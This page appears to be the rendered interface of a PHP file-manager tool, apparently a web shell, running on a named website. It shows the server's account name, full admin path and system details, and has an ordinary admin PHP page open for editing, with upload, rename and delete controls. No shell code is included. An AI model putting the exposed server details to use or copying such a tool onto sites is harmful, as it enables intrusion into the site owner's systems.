Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.24.1.el9_7.x86_64

PHP Version:

8.2.30

User:

u784288082

Directory:

/home/u784288082/domains/drsatheeshraoak.com/public_html/admin/html

Free Space:

9.43 TB

🔧 Quick Actions

✏️ Editing: qrcodefile.php

<?php
require('../include/top.inc.php');
require('phpqrcode/qrlib.php');

isAdmin();

// Handling operations (status or delete)
if (isset($_GET['type']) && $_GET['type'] != '') {
    $type = get_safe_value($con, $_GET['type']);
    $id = get_safe_value($con, $_GET['id']);

// Status change
    if ($type == 'status') {
        $operation = get_safe_value($con, $_GET['operation']);
        $status = ($operation == 'active') ? '1' : '0';
        $update_status_sql = "UPDATE biharsamanyagyan SET status='$status' WHERE id='$id'";
        mysqli_query($con, $update_status_sql);
    }

// Delete entry and associated PDF
    if ($type == 'delete') {
        // Fetching the file to delete
        $get_pdf_sql = "SELECT pdf_file FROM biharsamanyagyan WHERE id='$id'";
        $result = mysqli_query($con, $get_pdf_sql);
        $pdf_row = mysqli_fetch_assoc($result);
        $pdf_file = "../../biharsamanyagyan/" . $pdf_row['pdf_file'];

// Deleting the file if it exists
        if (file_exists($pdf_file)) {
            unlink($pdf_file); // Delete the file
        }

// Now delete the database record
        $delete_sql = "DELETE FROM biharsamanyagyan WHERE id='$id'";
        mysqli_query($con, $delete_sql);
    }
}

// Fetching all entries
$sql = "SELECT * FROM biharsamanyagyan";
$res = mysqli_query($con, $sql);
?>

<?php include("../include/head.inc.php"); ?>

<div class="page-breadcrumb">
    <div class="row">
        <div class="col-12 d-flex no-block align-items-center">
            <h4 class="page-title" style="margin-right:10px;">PDF</h4>
            <span class="add_button"> 
                <a href="biharsamanyagyan.php" class="btn btn-sm btn-primary">Add PDF</a>
            </span>
            <div class="ms-auto text-end">
                <nav aria-label="breadcrumb">
                    <ol class="breadcrumb">
                        <li class="breadcrumb-item"><a href="index">Home</a></li>
                        <li class="breadcrumb-item active" aria-current="page">PDF</li>
                    </ol>
                </nav>
            </div>
        </div>
    </div>
</div>

<div class="container-fluid" style="height: calc(100vh - 120px);">
    
    
    
    <div class="row">
        <div class="col-12">
            <div class="card">
                <div class="card-body">
                    <h4 class="box-title">Add PDF</h4>
                </div>
                <div class="card-body--">
                    <div class="table-stats order-table ov-h">
                        <table class="table">
                            <thead>
                                <tr>
                                    <th class="serial">#</th>
                                    <th>PDF Title</th>
                                    <th>PDF URL</th>
                                    <th>QR Code</th>
                                    <th>PDF File</th>
                                    <th>Action</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php
                                $i = 1;
                                while ($row = mysqli_fetch_assoc($res)) { 
                                    // Generate QR Code
                                    // $dataQR = "https://radianbooks.in/biharsamanyagyans/" . $row['url'];
                                    $dataQR = "https://radianbooks.in";
                                    $fileQR = 'qrcode.png';
                                    
                                    if (!file_exists($fileQR)) {
                                        QRcode::png($dataQR, $fileQR);
                                    }
                                ?>
                                    <tr>
                                        <td class="serial"><?php echo $i++ ?></td>
                                        <td><?php echo htmlspecialchars($row['name']) ?></td>
                                        <td>
                                            <a target="_blank" href="https://radianbooks.in/biharsamanyagyans/<?php echo htmlspecialchars($row['url']); ?>">
                                                <?php echo htmlspecialchars($row['url']); ?>
                                            </a>
                                        </td>
                                        <td>
                                            <img src="<?php echo $fileQR; ?>" alt="QR Code" />
                                        </td>
                                        <td>
                                            <?php
                                            $pdf_file = "../../biharsamanyagyan/" . $row['pdf_file'];
                                            if (file_exists($pdf_file)) {
                                                echo "<a target='_blank' href='" . htmlspecialchars($pdf_file) . "'>View PDF</a>";
                                            } else {
                                                echo "No PDF Uploaded";
                                            }
                                            ?>
                                        </td>
                                        <td>
                                            <?php
                                            if ($row['status'] == 1) {
                                                echo "<span class='badge1 badge-complete'><a href='?type=status&operation=deactive&id=" . $row['id'] . "'>Active</a></span>&nbsp;";
                                            } else {
                                                echo "<span class='badge1 badge-pending'><a href='?type=status&operation=active&id=" . $row['id'] . "'>Deactive</a></span>&nbsp;";
                                            }
                                            echo "<span class='badge1 badge-edit'><a href='biharsamanyagyan.php?id=" . $row['id'] . "'>Edit</a></span>&nbsp;";
                                            echo "<span class='badge1 badge-delete'><a href='?type=delete&id=" . $row['id'] . "'>Delete</a></span>";
                                            ?>
                                        </td>
                                    </tr>
                                <?php } ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<script src="../assets/libs/jquery/dist/jquery.min.js"></script>

<script src="../assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js"></script>

<script src="../assets/libs/perfect-scrollbar/dist/perfect-scrollbar.jquery.min.js"></script>

<script src="../dist/js/waves.js"></script>

<script src="../dist/js/sidebarmenu.js"></script>

<script src="../dist/js/custom.min.js"></script>

<script src="../assets/extra-libs/DataTables/datatables.min.js"></script>
<script>
    $("#zero_config").DataTable();
</script>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: qrcodefile.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation